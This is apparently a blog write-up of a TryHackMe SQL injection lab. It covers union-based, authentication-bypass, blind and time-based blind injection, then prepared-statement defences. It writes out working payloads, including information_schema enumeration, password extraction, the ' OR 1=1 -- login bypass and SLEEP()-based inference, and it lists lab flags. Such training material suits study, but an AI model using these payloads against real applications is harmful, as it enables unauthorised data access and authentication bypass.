TryHackMe Write-up: SQL Injection
Introduction
SQL Injection (SQLi) is one of the most dangerous web application vulnerabilities. It occurs when user-controlled input is inserted into an SQL query without proper sanitization or parameterized queries.
A successful SQL Injection attack can allow an attacker to:
- Read sensitive data from a database
- Bypass authentication mechanisms
- Enumerate database structure
- Modify or delete records
- Potentially gain further access to the underlying system
In this room, I explored several SQL Injection techniques, including Union-Based SQL Injection, Authentication Bypass, Blind SQL Injection, and Time-Based Blind SQL Injection.
SQL Basics
Before exploiting SQL Injection, it’s important to understand the underlying database concepts.
SQL stands for Structured Query Language, the standard language used to communicate with relational databases.
Common SQL commands include:
SELECT * FROM users;Retrieves data from a table.
INSERT INTO users(username,password)
VALUES('admin','password');Adds new records.
SELECT username FROM users
UNION
SELECT email FROM customers;Combines results from multiple SELECT statements.
Most SQL statements end with:
;Task 5 — Union-Based SQL Injection
The goal of this challenge was to extract information directly from the database using the UNION operator.
Step 1 — Determine the Number of Columns
When using UNION, both SELECT statements must return the same number of columns.
I tested different numbers of columns until the application stopped producing errors.
UNION SELECT 1;UNION SELECT 1,2;UNION SELECT 1,2,3;The successful payload revealed that the query contained three columns.
Step 2 — Remove Legitimate Results
To make the injected data visible, the original query must return no results.
Changing the article ID from 1 to 0 accomplishes this.
0 UNION SELECT 1,2,3;The page now displays only the results of our injected query.
Step 3 — Identify the Database Name
MySQL provides the database() function which returns the current database.
0 UNION SELECT 1,2,database();Result:
sqli_oneStep 4 — Enumerate Tables
The Information Schema database contains metadata about databases, tables, and columns.
Using group_concat() allows multiple table names to be displayed at once.
0 UNION SELECT 1,2,
group_concat(table_name)
FROM information_schema.tables
WHERE table_schema='sqli_one';This revealed the available tables within the database.
Step 5 — Extract Credentials
After identifying the user table, credentials can be extracted directly.
0 UNION SELECT 1,2,
group_concat(password)
FROM staff_users
WHERE username='martin';Flag:
THM{SQL_INJECTION_3840}Key Lesson
Union-Based SQL Injection allows attackers to append their own SELECT statement and directly retrieve database contents through the application’s normal response.
Task 6 — Authentication Bypass
Unlike the previous challenge, the injection point was a login form.
A typical backend query might look like:
SELECT *
FROM users
WHERE username='INPUT'
AND password='INPUT'
LIMIT 1;The application expects both username and password to match.
Exploiting the Login
By injecting a condition that always evaluates to TRUE, the authentication check can be bypassed.
Payload:
' OR 1=1 --Resulting query:
SELECT *
FROM users
WHERE username=''
OR 1=1 -- '
AND password='';Since 1=1 is always true, the database returns the first valid user record.
The -- sequence comments out the remainder of the query.
Flag:
THM{SQL_INJECTION_9581}Key Lesson
Authentication bypass works because user input is treated as executable SQL rather than data.
Task 7 — Blind SQL Injection
This challenge introduced Blind SQL Injection.
Get Limestar’s stories in your inbox
Join Medium for free to get updates from this writer.
Unlike Union-Based SQL Injection, the application does not directly display database contents.
Instead, it only returns a True or False response.
The attacker must infer information one character at a time.
Determining the Database Name
Using the LIKE operator allows testing whether the database name begins with a particular letter.
UNION SELECT 1,2,3
WHERE database() LIKE 's%';--If the page responds positively, the database name starts with “s”.
The process is repeated character by character:
database() LIKE 'sq%'database() LIKE 'sql%'Eventually revealing:
sqli_threeEnumerating Users
The same technique can be applied to usernames.
UNION SELECT 1,2,3
FROM users
WHERE username LIKE 'a%';--This gradually revealed:
adminExtracting the Password
The password was identified using the same character-by-character approach.
UNION SELECT 1,2,3
FROM users
WHERE username='admin'
AND password LIKE '1%';--Repeated testing eventually revealed:
3845Flag:
THM{SQL_INJECTION_1093}Key Lesson
Blind SQL Injection demonstrates that attackers can still extract data even when applications hide query results and error messages.
Task 8 — Time-Based Blind SQL Injection
This challenge was even more restrictive.
The application only responded with a generic message such as:
OKThere was no visible indication whether the query succeeded.
Using Time Delays
To determine whether the injection executed successfully, I used the MySQL SLEEP() function.
UNION SELECT SLEEP(5),2;--If the page takes approximately five seconds to respond, the injected SQL executed successfully.
Extracting Information
The same logic from Task 7 was used, but instead of looking for True/False responses, I measured response times.
For example:
UNION SELECT
IF(database() LIKE 's%',SLEEP(5),0),2;--If the response was delayed, the condition was true.
By repeatedly testing characters, I identified:
Database:
sqli_fourTable:
usersUsername:
adminPassword:
4961Flag:
THM{SQL_INJECTION_MASTER}Defending Against SQL Injection
The final task focused on mitigation.
The correct defense is the use of Prepared Statements.
Instead of building queries through string concatenation:
SELECT *
FROM users
WHERE username='$username';Use parameterized queries:
SELECT *
FROM users
WHERE username=?;The database treats user input strictly as data rather than executable SQL.
Additional protections include:
- Input validation
- Least-privilege database accounts
- Secure error handling
- Stored procedures
- Web Application Firewalls (WAFs)
- Security testing and code reviews
Final Thoughts
This room provides a practical introduction to the evolution of SQL Injection attacks.
The progression from Union-Based SQL Injection to Authentication Bypass, Blind SQL Injection, and finally Time-Based Blind SQL Injection demonstrates how attackers adapt when direct database output is unavailable.
The most important takeaway is that SQL Injection is not about memorizing payloads. It is about understanding how SQL queries are constructed and how user input influences database logic.
Even today, a single vulnerable query can expose an entire application’s data, which is why parameterized queries remain one of the most important secure coding practices in web development.



![[IronHold] — Spring Boot Source Code Analysis: Finding Credentials, SQL Injection, PrivEsc, and…](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*2yaTo73YRGo1GknAUJNfPg.jpeg)



